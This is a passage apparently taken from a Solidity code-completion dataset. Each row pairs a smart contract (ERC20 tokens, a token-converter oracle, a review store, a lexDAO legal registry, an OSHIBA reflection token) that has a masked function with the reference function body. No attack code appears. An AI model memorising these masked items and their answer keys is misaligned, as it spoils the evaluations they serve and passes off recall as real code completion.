_totalSupply = _totalSupply.sub(_value);
emit Burn(owner, _value);
emit Transfer(owner, address(0), _value);
}
} | contract BitozzToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Burn(address indexed burner, uint256 value);
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
require(to != address(0));
require(tokens > 0);
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
require(spender != address(0));
require(tokens > 0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(from != address(0));
require(to != address(0));
require(tokens > 0);
require(balances[from] >= tokens);
require(allowed[from][msg.sender] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Increase the amount of tokens that an owner allowed to a spender.
//
// approve should be called when allowed[_spender] == 0. To increment
// allowed value is better to use this function to avoid 2 calls (and wait until
// the first transaction is mined)
// _spender The address which will spend the funds.
// _addedValue The amount of tokens to increase the allowance by.
// ------------------------------------------------------------------------
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Decrease the amount of tokens that an owner allowed to a spender.
//
// approve should be called when allowed[_spender] == 0. To decrement
// allowed value is better to use this function to avoid 2 calls (and wait until
// the first transaction is mined)
// _spender The address which will spend the funds.
// _subtractedValue The amount of tokens to decrease the allowance by.
// ------------------------------------------------------------------------
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(_spender != address(0));
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Burns a specific amount of tokens.
// _value The amount of token to be burned.
// ------------------------------------------------------------------------
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(owner, _value);
emit Transfer(owner, address(0), _value);
}
} |
symbol = "BOZZ";
name = "Bitozz";
decimals = 4;
_totalSupply = 512045455;
_totalSupply = _totalSupply.mul(10 ** uint(decimals));
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
| constructor() public | // ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public |
75324 | TokenConverterOracle | getRate | contract TokenConverterOracle is Oracle {
address public delegate;
address public ogToken;
mapping(bytes32 => Currency) public sources;
mapping(bytes32 => Cache) public cache;
event DelegatedCall(address _requester, address _to);
event CacheHit(address _requester, bytes32 _currency, uint256 _rate, uint256 _decimals);
event DeliveredRate(address _requester, bytes32 _currency, uint256 _rate, uint256 _decimals);
event SetSource(bytes32 _currency, address _converter, address _token, uint128 _sample, bool _cached);
event SetDelegate(address _prev, address _new);
event SetOgToken(address _prev, address _new);
struct Cache {
uint64 decimals;
uint64 blockNumber;
uint128 rate;
}
struct Currency {
bool cached;
uint8 decimals;
address converter;
address token;
}
function setDelegate(
address _delegate
) external onlyOwner {
emit SetDelegate(delegate, _delegate);
delegate = _delegate;
}
function setOgToken(
address _ogToken
) external onlyOwner {
emit SetOgToken(ogToken, _ogToken);
ogToken = _ogToken;
}
function setCurrency(
string code,
address converter,
address token,
uint8 decimals,
bool cached
) external onlyOwner returns (bool) {
// Set supported currency
bytes32 currency = encodeCurrency(code);
if (!supported[currency]) {
emit NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
}
// Save converter info
sources[currency] = Currency({
cached: cached,
converter: converter,
token: token,
decimals: decimals
});
emit SetSource(currency, converter, token, decimals, cached);
return true;
}
function url() public view returns (string) {
return "";
}
function getRate(
bytes32 _symbol,
bytes _data
) external returns (uint256 rate, uint256 decimals) {<FILL_FUNCTION_BODY> }
} | contract TokenConverterOracle is Oracle {
address public delegate;
address public ogToken;
mapping(bytes32 => Currency) public sources;
mapping(bytes32 => Cache) public cache;
event DelegatedCall(address _requester, address _to);
event CacheHit(address _requester, bytes32 _currency, uint256 _rate, uint256 _decimals);
event DeliveredRate(address _requester, bytes32 _currency, uint256 _rate, uint256 _decimals);
event SetSource(bytes32 _currency, address _converter, address _token, uint128 _sample, bool _cached);
event SetDelegate(address _prev, address _new);
event SetOgToken(address _prev, address _new);
struct Cache {
uint64 decimals;
uint64 blockNumber;
uint128 rate;
}
struct Currency {
bool cached;
uint8 decimals;
address converter;
address token;
}
function setDelegate(
address _delegate
) external onlyOwner {
emit SetDelegate(delegate, _delegate);
delegate = _delegate;
}
function setOgToken(
address _ogToken
) external onlyOwner {
emit SetOgToken(ogToken, _ogToken);
ogToken = _ogToken;
}
function setCurrency(
string code,
address converter,
address token,
uint8 decimals,
bool cached
) external onlyOwner returns (bool) {
// Set supported currency
bytes32 currency = encodeCurrency(code);
if (!supported[currency]) {
emit NewSymbol(currency);
supported[currency] = true;
currencies.push(currency);
}
// Save converter info
sources[currency] = Currency({
cached: cached,
converter: converter,
token: token,
decimals: decimals
});
emit SetSource(currency, converter, token, decimals, cached);
return true;
}
function url() public view returns (string) {
return "";
}
<FILL_FUNCTION>
} |
if (delegate != address(0)) {
emit DelegatedCall(msg.sender, delegate);
return Oracle(delegate).getRate(_symbol, _data);
}
Currency memory currency = sources[_symbol];
if (currency.cached) {
Cache memory _cache = cache[_symbol];
if (_cache.blockNumber == block.number) {
emit CacheHit(msg.sender, _symbol, _cache.rate, _cache.decimals);
return (_cache.rate, _cache.decimals);
}
}
require(currency.converter != address(0), "Currency not supported");
decimals = currency.decimals;
rate = TokenConverter(currency.converter).getReturn(Token(ogToken), Token(currency.token), 10 ** decimals);
emit DeliveredRate(msg.sender, _symbol, rate, decimals);
// If cached and rate < 2 ** 128
if (currency.cached && rate < 340282366920938463463374607431768211456) {
cache[_symbol] = Cache({
decimals: currency.decimals,
blockNumber: uint64(block.number),
rate: uint128(rate)
});
}
| function getRate(
bytes32 _symbol,
bytes _data
) external returns (uint256 rate, uint256 decimals) | function getRate(
bytes32 _symbol,
bytes _data
) external returns (uint256 rate, uint256 decimals) |
50426 | Reviews | searchReview | contract Reviews{
struct Review{
string reviewContent;
string place;
string siteName;
uint rate;
string UserName;
}
struct jsonReview{
string hotel_name;
uint id;
string review_content;
string time;
}
event LogReviewAdded(string content , string place, string site);
event LogNewOraclizeQuery(string description);
mapping(bytes32 => bytes32 ) validIdstoSite;
mapping (address => Review[]) siteToReviews;
mapping (string => Review[]) placeToReviews;
constructor()public
{
userAddReviews("Best Company for ETH Based DAPP Development","Gaffer IT Solutions Pvt Ltd","Tasleem Ali",5);
}
function userAddReviews(string memory _reviewContent, string memory _place, string memory _userName, uint _rate) public{
Review memory _review = Review({
reviewContent: _reviewContent,
place: _place,
siteName: "OwnSite",
rate: _rate,
UserName: _userName
});
siteToReviews[msg.sender].push(_review);
placeToReviews[_place].push(_review);
}
function searchReview(string memory placeName,uint id) public view returns(string memory , string memory , string memory, uint ) {<FILL_FUNCTION_BODY> }
} | contract Reviews{
struct Review{
string reviewContent;
string place;
string siteName;
uint rate;
string UserName;
}
struct jsonReview{
string hotel_name;
uint id;
string review_content;
string time;
}
event LogReviewAdded(string content , string place, string site);
event LogNewOraclizeQuery(string description);
mapping(bytes32 => bytes32 ) validIdstoSite;
mapping (address => Review[]) siteToReviews;
mapping (string => Review[]) placeToReviews;
constructor()public
{
userAddReviews("Best Company for ETH Based DAPP Development","Gaffer IT Solutions Pvt Ltd","Tasleem Ali",5);
}
function userAddReviews(string memory _reviewContent, string memory _place, string memory _userName, uint _rate) public{
Review memory _review = Review({
reviewContent: _reviewContent,
place: _place,
siteName: "OwnSite",
rate: _rate,
UserName: _userName
});
siteToReviews[msg.sender].push(_review);
placeToReviews[_place].push(_review);
}
<FILL_FUNCTION>
} |
return (
placeToReviews[placeName][id].reviewContent,
placeToReviews[placeName][id].place,
placeToReviews[placeName][id].siteName,
placeToReviews[placeName][id].rate
);
| function searchReview(string memory placeName,uint id) public view returns(string memory , string memory , string memory, uint ) | function searchReview(string memory placeName,uint id) public view returns(string memory , string memory , string memory, uint ) |
2044 | lexDAORegistry | repairScribeRep | contract lexDAORegistry is ScribeRole { // **TLDR: lexDAO-maintained legal engineering registry to wrap and enforce digital transactions with legal and ethereal security**
using SafeMath for uint256;
// **lexAgon DAO treasury references (aragon.org digital organization)**
address payable public lexAgonDAO = 0xBBE222Ef97076b786f661246232E41BE0DFf6cc4;
// **counters for lexScribe lexScriptWrapper and registered DDR**
uint256 public LSW = 1; // **number of lexScriptWrappers enscribed herein**
uint256 public RDDR; // **number of DDRs registered hereby**
// **internal lexScript references** //
uint256 private lexRate; // **rate paid from payDDR transaction to associated lexAddress (lexFee)**
address private lexAddress; // **lexScribe nominated lexAddress to receive lexFee**
mapping(address => uint256) public reputation; // **mapping lexScribe reputation**
mapping(address => uint256) public lastActionTimestamp; // **mapping lexScribe governance actions*
mapping (uint256 => lexScriptWrapper) public lexScript; // **mapping registered lexScript 'wet code' templates**
mapping (uint256 => DDR) public rddr; // **mapping registered rddr call numbers**
struct lexScriptWrapper { // **LSW: Digital Dollar Retainer (DDR) lexScript templates maintained by lexDAO scribes (lexScribe)**
address lexScribe; // **lexScribe that enscribed lexScript template into TLDR**
address lexAddress; // **ethereum address to forward lexScript template lexScribe fees**
string templateTerms; // **lexScript template terms to wrap DDR for legal security**
uint256 lexID; // **ID number to reference in DDR to inherit lexScript wrapper**
uint256 lexRate; // **lexScribe fee in ddrToken type per rddr payment made thereunder / e.g., 100 = 1% fee on rddr payDDR payment transaction**
}
struct DDR { // **Digital Dollar Retainer**
address client; // **client ethereum address**
address provider; // **ethereum address that receives payments in exchange for goods or services**
IERC20 ddrToken; // **ERC-20 digital token address used to transfer value on ethereum under rddr / e.g., DAI 'digital dollar' - 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359**
string deliverable; // **goods or services (deliverable) retained for benefit of ethereum payments**
string governingLawForum; // **choice of law and forum for retainer relationship (or similar legal description)**
uint256 ddrNumber; // **rddr number generated on registration / identifies rddr for payDDR calls**
uint256 timeStamp; // **block.timestamp of registration used to calculate retainerTermination UnixTime**
uint256 retainerDuration; // **duration of rddr in seconds**
uint256 retainerTermination; // **termination date of rddr in UnixTime**
uint256 deliverableRate; // **rate for rddr deliverables in digital dollar wei amount / 1 = 1000000000000000000**
uint256 paid; // **tracking amount of designated ERC-20 paid under rddr in wei amount**
uint256 payCap; // **cap in wei amount to limit payments under rddr**;
uint256 lexID; // **lexID number reference to include lexScriptWrapper for legal security / default '0' for general DDR lexScript template**
}
constructor() public { // **deploys TLDR contract and stores base template "0" (lexID) for rddr lexScript terms**
address LEXScribe = msg.sender; // **TLDR creator is initial lexScribe**
// **default lexScript legal wrapper stating general human-readable DDR terms for rddr to inherit / lexID = '0'**
string memory ddrTerms = "|| Establishing a digital retainer hereby as [[ddrNumber]] and acknowledging mutual consideration and agreement, Client, identified by ethereum address 0x[[client]], commits to perform under this digital payment transactional script capped at $[[payCap]] digital dollar value denominated in 0x[[ddrToken]] for benefit of Provider, identified by ethereum address 0x[[provider]], in exchange for prompt satisfaction of the following, [[deliverable]], to Client by Provider upon scripted payments set at the rate of $[[deliverableRate]] per deliverable, with such retainer relationship not to exceed [[retainerDuration]] seconds and to be governed by choice of [[governingLawForum]] law and 'either/or' arbitration rules in [[governingLawForum]]. ||";
uint256 lexID = 0; // **default lexID for constructor / general rddr reference**
uint256 LEXRate = 100; // **1% lexRate**
address LEXAddress = 0xBBE222Ef97076b786f661246232E41BE0DFf6cc4; // **Open, ESQ LLC_DAO ethereum address**
lexScript[lexID] = lexScriptWrapper( // **populate default '0' lexScript data for reference in LSW**
LEXScribe,
LEXAddress,
ddrTerms,
lexID,
LEXRate);
}
// **TLDR Events**
event Enscribed(uint256 indexed lexID, address indexed lexScribe); // **triggered on successful edits to LSW**
event Registered(uint256 indexed ddrNumber, uint256 indexed lexID, address client, address provider); // **triggered on successful registration**
event Paid(uint256 indexed ddrNumber, uint256 indexed lexID, uint256 ratePaid, uint256 totalPaid, address client); // **triggered on successful rddr payments**
/***************
GOVERNANCE FUNCTIONS
***************/
// **lexScribes can stake ether (Ξ) value for TLDR reputation and function access**
function stakeReputation() payable public onlyScribe {
require(msg.value == 0.1 ether);
reputation[msg.sender] = 10;
address(lexAgonDAO).transfer(msg.value);
}
// **check on lexScribe reputation**
function isReputable(address x) public view returns (bool) {
return reputation[x] > 0;
}
// **restricts governance function calls to once per day**
modifier cooldown() {
require(now.sub(lastActionTimestamp[msg.sender]) > 1 days);
_;
lastActionTimestamp[msg.sender] = now;
}
// **reputable LexScribes can reduce each other's reputation**
function reduceScribeRep(address reducedLexScribe) cooldown public {
require(isReputable(msg.sender));
reputation[reducedLexScribe] = reputation[reducedLexScribe].sub(1);
}
// **reputable LexScribes can repair each other's reputation**
function repairScribeRep(address repairedLexScribe) cooldown public {<FILL_FUNCTION_BODY> }
/***************
LEXSCRIBE FUNCTIONS
***************/
// **reputable lexScribes can register lexScript legal wrappers on TLDR and program fees for usage**
function writeLEXScriptWrapper(string memory templateTerms, uint256 LEXRate, address LEXAddress) public onlyScribe {
require(isReputable(msg.sender));
address lexScribe = msg.sender;
uint256 lexID = LSW.add(1); // **reflects new lexScript value for tracking legal wrappers**
LSW = LSW.add(1); // counts new entry to LSW
lexScript[lexID] = lexScriptWrapper( // populate lexScript data for reference in rddr
lexScribe,
LEXAddress,
templateTerms,
lexID,
LEXRate);
emit Enscribed(lexID, lexScribe);
}
// **lexScribes can update registered lexScript legal wrappers with newTemplateTerms and newLexAddress**
function editLEXScriptWrapper(uint256 lexID, string memory newTemplateTerms, address newLEXAddress) public {
lexScriptWrapper storage lS = lexScript[lexID];
require(address(msg.sender) == lS.lexScribe); // program safety check / authorization
lexScript[lexID] = lexScriptWrapper( // populate updated lexScript data for reference in rddr
msg.sender,
newLEXAddress,
newTemplateTerms,
lexID,
lS.lexRate);
emit Enscribed(lexID, msg.sender);
}
/***************
MARKET FUNCTIONS
***************/
// **register DDR with TLDR lexScripts**
function registerDDR(
address client,
address provider,
IERC20 ddrToken,
string memory deliverable,
string memory governingLawForum,
uint256 retainerDuration,
uint256 deliverableRate,
uint256 payCap,
uint256 lexID) public {
require(deliverableRate <= payCap, "registerDDR: deliverableRate cannot exceed payCap"); // **program safety check / economics**
uint256 ddrNumber = RDDR.add(1); // **reflects new rddr value for tracking payments**
uint256 paid = 0; // **initial zero value for rddr**
uint256 timeStamp = now; // **block.timestamp of rddr**
uint256 retainerTermination = timeStamp + retainerDuration; // **rddr termination date in UnixTime**
RDDR = RDDR.add(1); // counts new entry to RDDR
rddr[ddrNumber] = DDR( // populate rddr data
client,
provider,
ddrToken,
deliverable,
governingLawForum,
ddrNumber,
timeStamp,
retainerDuration,
retainerTermination,
deliverableRate,
paid,
payCap,
lexID);
emit Registered(ddrNumber, lexID, client, provider);
}
// **pay registered DDR on TLDR**
function payDDR(uint256 ddrNumber) public { // **forwards approved ddrToken deliverableRate amount to provider ethereum address**
DDR storage ddr = rddr[ddrNumber]; // **retrieve rddr data**
lexScriptWrapper storage lS = lexScript[ddr.lexID];
require (now <= ddr.retainerTermination); // **program safety check / time**
require(address(msg.sender) == ddr.client); // program safety check / authorization
require(ddr.paid.add(ddr.deliverableRate) <= ddr.payCap, "payDAI: payCap exceeded"); // **program safety check / economics**
uint256 lexFee = ddr.deliverableRate.div(lS.lexRate);
ddr.ddrToken.transferFrom(msg.sender, ddr.provider, ddr.deliverableRate); // **executes ERC-20 transfer**
ddr.ddrToken.transferFrom(msg.sender, lS.lexAddress, lexFee);
ddr.paid = ddr.paid.add(ddr.deliverableRate); // **tracks amount paid under rddr**
emit Paid(ddr.ddrNumber, ddr.lexID, ddr.deliverableRate, ddr.paid, msg.sender);
}
} | contract lexDAORegistry is ScribeRole { // **TLDR: lexDAO-maintained legal engineering registry to wrap and enforce digital transactions with legal and ethereal security**
using SafeMath for uint256;
// **lexAgon DAO treasury references (aragon.org digital organization)**
address payable public lexAgonDAO = 0xBBE222Ef97076b786f661246232E41BE0DFf6cc4;
// **counters for lexScribe lexScriptWrapper and registered DDR**
uint256 public LSW = 1; // **number of lexScriptWrappers enscribed herein**
uint256 public RDDR; // **number of DDRs registered hereby**
// **internal lexScript references** //
uint256 private lexRate; // **rate paid from payDDR transaction to associated lexAddress (lexFee)**
address private lexAddress; // **lexScribe nominated lexAddress to receive lexFee**
mapping(address => uint256) public reputation; // **mapping lexScribe reputation**
mapping(address => uint256) public lastActionTimestamp; // **mapping lexScribe governance actions*
mapping (uint256 => lexScriptWrapper) public lexScript; // **mapping registered lexScript 'wet code' templates**
mapping (uint256 => DDR) public rddr; // **mapping registered rddr call numbers**
struct lexScriptWrapper { // **LSW: Digital Dollar Retainer (DDR) lexScript templates maintained by lexDAO scribes (lexScribe)**
address lexScribe; // **lexScribe that enscribed lexScript template into TLDR**
address lexAddress; // **ethereum address to forward lexScript template lexScribe fees**
string templateTerms; // **lexScript template terms to wrap DDR for legal security**
uint256 lexID; // **ID number to reference in DDR to inherit lexScript wrapper**
uint256 lexRate; // **lexScribe fee in ddrToken type per rddr payment made thereunder / e.g., 100 = 1% fee on rddr payDDR payment transaction**
}
struct DDR { // **Digital Dollar Retainer**
address client; // **client ethereum address**
address provider; // **ethereum address that receives payments in exchange for goods or services**
IERC20 ddrToken; // **ERC-20 digital token address used to transfer value on ethereum under rddr / e.g., DAI 'digital dollar' - 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359**
string deliverable; // **goods or services (deliverable) retained for benefit of ethereum payments**
string governingLawForum; // **choice of law and forum for retainer relationship (or similar legal description)**
uint256 ddrNumber; // **rddr number generated on registration / identifies rddr for payDDR calls**
uint256 timeStamp; // **block.timestamp of registration used to calculate retainerTermination UnixTime**
uint256 retainerDuration; // **duration of rddr in seconds**
uint256 retainerTermination; // **termination date of rddr in UnixTime**
uint256 deliverableRate; // **rate for rddr deliverables in digital dollar wei amount / 1 = 1000000000000000000**
uint256 paid; // **tracking amount of designated ERC-20 paid under rddr in wei amount**
uint256 payCap; // **cap in wei amount to limit payments under rddr**;
uint256 lexID; // **lexID number reference to include lexScriptWrapper for legal security / default '0' for general DDR lexScript template**
}
constructor() public { // **deploys TLDR contract and stores base template "0" (lexID) for rddr lexScript terms**
address LEXScribe = msg.sender; // **TLDR creator is initial lexScribe**
// **default lexScript legal wrapper stating general human-readable DDR terms for rddr to inherit / lexID = '0'**
string memory ddrTerms = "|| Establishing a digital retainer hereby as [[ddrNumber]] and acknowledging mutual consideration and agreement, Client, identified by ethereum address 0x[[client]], commits to perform under this digital payment transactional script capped at $[[payCap]] digital dollar value denominated in 0x[[ddrToken]] for benefit of Provider, identified by ethereum address 0x[[provider]], in exchange for prompt satisfaction of the following, [[deliverable]], to Client by Provider upon scripted payments set at the rate of $[[deliverableRate]] per deliverable, with such retainer relationship not to exceed [[retainerDuration]] seconds and to be governed by choice of [[governingLawForum]] law and 'either/or' arbitration rules in [[governingLawForum]]. ||";
uint256 lexID = 0; // **default lexID for constructor / general rddr reference**
uint256 LEXRate = 100; // **1% lexRate**
address LEXAddress = 0xBBE222Ef97076b786f661246232E41BE0DFf6cc4; // **Open, ESQ LLC_DAO ethereum address**
lexScript[lexID] = lexScriptWrapper( // **populate default '0' lexScript data for reference in LSW**
LEXScribe,
LEXAddress,
ddrTerms,
lexID,
LEXRate);
}
// **TLDR Events**
event Enscribed(uint256 indexed lexID, address indexed lexScribe); // **triggered on successful edits to LSW**
event Registered(uint256 indexed ddrNumber, uint256 indexed lexID, address client, address provider); // **triggered on successful registration**
event Paid(uint256 indexed ddrNumber, uint256 indexed lexID, uint256 ratePaid, uint256 totalPaid, address client); // **triggered on successful rddr payments**
/***************
GOVERNANCE FUNCTIONS
***************/
// **lexScribes can stake ether (Ξ) value for TLDR reputation and function access**
function stakeReputation() payable public onlyScribe {
require(msg.value == 0.1 ether);
reputation[msg.sender] = 10;
address(lexAgonDAO).transfer(msg.value);
}
// **check on lexScribe reputation**
function isReputable(address x) public view returns (bool) {
return reputation[x] > 0;
}
// **restricts governance function calls to once per day**
modifier cooldown() {
require(now.sub(lastActionTimestamp[msg.sender]) > 1 days);
_;
lastActionTimestamp[msg.sender] = now;
}
// **reputable LexScribes can reduce each other's reputation**
function reduceScribeRep(address reducedLexScribe) cooldown public {
require(isReputable(msg.sender));
reputation[reducedLexScribe] = reputation[reducedLexScribe].sub(1);
}
<FILL_FUNCTION>
/***************
LEXSCRIBE FUNCTIONS
***************/
// **reputable lexScribes can register lexScript legal wrappers on TLDR and program fees for usage**
function writeLEXScriptWrapper(string memory templateTerms, uint256 LEXRate, address LEXAddress) public onlyScribe {
require(isReputable(msg.sender));
address lexScribe = msg.sender;
uint256 lexID = LSW.add(1); // **reflects new lexScript value for tracking legal wrappers**
LSW = LSW.add(1); // counts new entry to LSW
lexScript[lexID] = lexScriptWrapper( // populate lexScript data for reference in rddr
lexScribe,
LEXAddress,
templateTerms,
lexID,
LEXRate);
emit Enscribed(lexID, lexScribe);
}
// **lexScribes can update registered lexScript legal wrappers with newTemplateTerms and newLexAddress**
function editLEXScriptWrapper(uint256 lexID, string memory newTemplateTerms, address newLEXAddress) public {
lexScriptWrapper storage lS = lexScript[lexID];
require(address(msg.sender) == lS.lexScribe); // program safety check / authorization
lexScript[lexID] = lexScriptWrapper( // populate updated lexScript data for reference in rddr
msg.sender,
newLEXAddress,
newTemplateTerms,
lexID,
lS.lexRate);
emit Enscribed(lexID, msg.sender);
}
/***************
MARKET FUNCTIONS
***************/
// **register DDR with TLDR lexScripts**
function registerDDR(
address client,
address provider,
IERC20 ddrToken,
string memory deliverable,
string memory governingLawForum,
uint256 retainerDuration,
uint256 deliverableRate,
uint256 payCap,
uint256 lexID) public {
require(deliverableRate <= payCap, "registerDDR: deliverableRate cannot exceed payCap"); // **program safety check / economics**
uint256 ddrNumber = RDDR.add(1); // **reflects new rddr value for tracking payments**
uint256 paid = 0; // **initial zero value for rddr**
uint256 timeStamp = now; // **block.timestamp of rddr**
uint256 retainerTermination = timeStamp + retainerDuration; // **rddr termination date in UnixTime**
RDDR = RDDR.add(1); // counts new entry to RDDR
rddr[ddrNumber] = DDR( // populate rddr data
client,
provider,
ddrToken,
deliverable,
governingLawForum,
ddrNumber,
timeStamp,
retainerDuration,
retainerTermination,
deliverableRate,
paid,
payCap,
lexID);
emit Registered(ddrNumber, lexID, client, provider);
}
// **pay registered DDR on TLDR**
function payDDR(uint256 ddrNumber) public { // **forwards approved ddrToken deliverableRate amount to provider ethereum address**
DDR storage ddr = rddr[ddrNumber]; // **retrieve rddr data**
lexScriptWrapper storage lS = lexScript[ddr.lexID];
require (now <= ddr.retainerTermination); // **program safety check / time**
require(address(msg.sender) == ddr.client); // program safety check / authorization
require(ddr.paid.add(ddr.deliverableRate) <= ddr.payCap, "payDAI: payCap exceeded"); // **program safety check / economics**
uint256 lexFee = ddr.deliverableRate.div(lS.lexRate);
ddr.ddrToken.transferFrom(msg.sender, ddr.provider, ddr.deliverableRate); // **executes ERC-20 transfer**
ddr.ddrToken.transferFrom(msg.sender, lS.lexAddress, lexFee);
ddr.paid = ddr.paid.add(ddr.deliverableRate); // **tracks amount paid under rddr**
emit Paid(ddr.ddrNumber, ddr.lexID, ddr.deliverableRate, ddr.paid, msg.sender);
}
} |
require(isReputable(msg.sender));
require(reputation[repairedLexScribe] < 10);
reputation[repairedLexScribe] = reputation[repairedLexScribe].add(1);
lastActionTimestamp[msg.sender] = now;
| function repairScribeRep(address repairedLexScribe) cooldown public | // **reputable LexScribes can repair each other's reputation**
function repairScribeRep(address repairedLexScribe) cooldown public |
36042 | StandardToken | transferFrom | contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool success) {<FILL_FUNCTION_BODY> }
function approve(address _spender, uint256 _value) public returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint256)) allowed;
<FILL_FUNCTION>
function approve(address _spender, uint256 _value) public returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} |
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
| function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool success) | function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool success) |
35140 | OSHIBA | _getRate | contract OSHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Otsughi Shiba';
string private _symbol = 'OSHIBA';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 50000000 * 10**6 * 10**9;
constructor() public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
_isExcluded[address(0xf6da21E95D74767009acCB145b96897aC3630BaD)] = true;
_excluded.push(address(0xf6da21E95D74767009acCB145b96897aC3630BaD));
_isExcluded[address(0xA3b0e79935815730d942A444A84d4Bd14A339553)] = true;
_excluded.push(address(0xA3b0e79935815730d942A444A84d4Bd14A339553));
_isExcluded[address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)] = true;
_excluded.push(address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533));
_isExcluded[address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)] = true;
_excluded.push(address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7));
_isExcluded[address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6)] = true;
_excluded.push(address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6));
_isExcluded[address(0x0cec4474E6B78e2703dcaAe57De283F96a34614e)] = true;
_excluded.push(address(0x0cec4474E6B78e2703dcaAe57De283F96a34614e));
_isExcluded[address(0x575C3a99429352EDa66661fC3857b9F83f58a73f)] = true;
_excluded.push(address(0x575C3a99429352EDa66661fC3857b9F83f58a73f));
_isExcluded[address(0x02023798E0890DDebfa4cc6d4b2B05434E940202)] = true;
_excluded.push(address(0x02023798E0890DDebfa4cc6d4b2B05434E940202));
_isExcluded[address(0x9108048F5eF19c64D00ADDA718906990B53D02Cd)] = true;
_excluded.push(address(0x9108048F5eF19c64D00ADDA718906990B53D02Cd));
_isExcluded[address(0x000000000000cB53d776774284822B1298AdE47f)] = true;
_excluded.push(address(0x000000000000cB53d776774284822B1298AdE47f));
_isExcluded[address(0xbb4dfFE3A0DfC8Efe4468Cf24bf3d88729244F5A)] = true;
_excluded.push(address(0xbb4dfFE3A0DfC8Efe4468Cf24bf3d88729244F5A));
_isExcluded[address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)] = true;
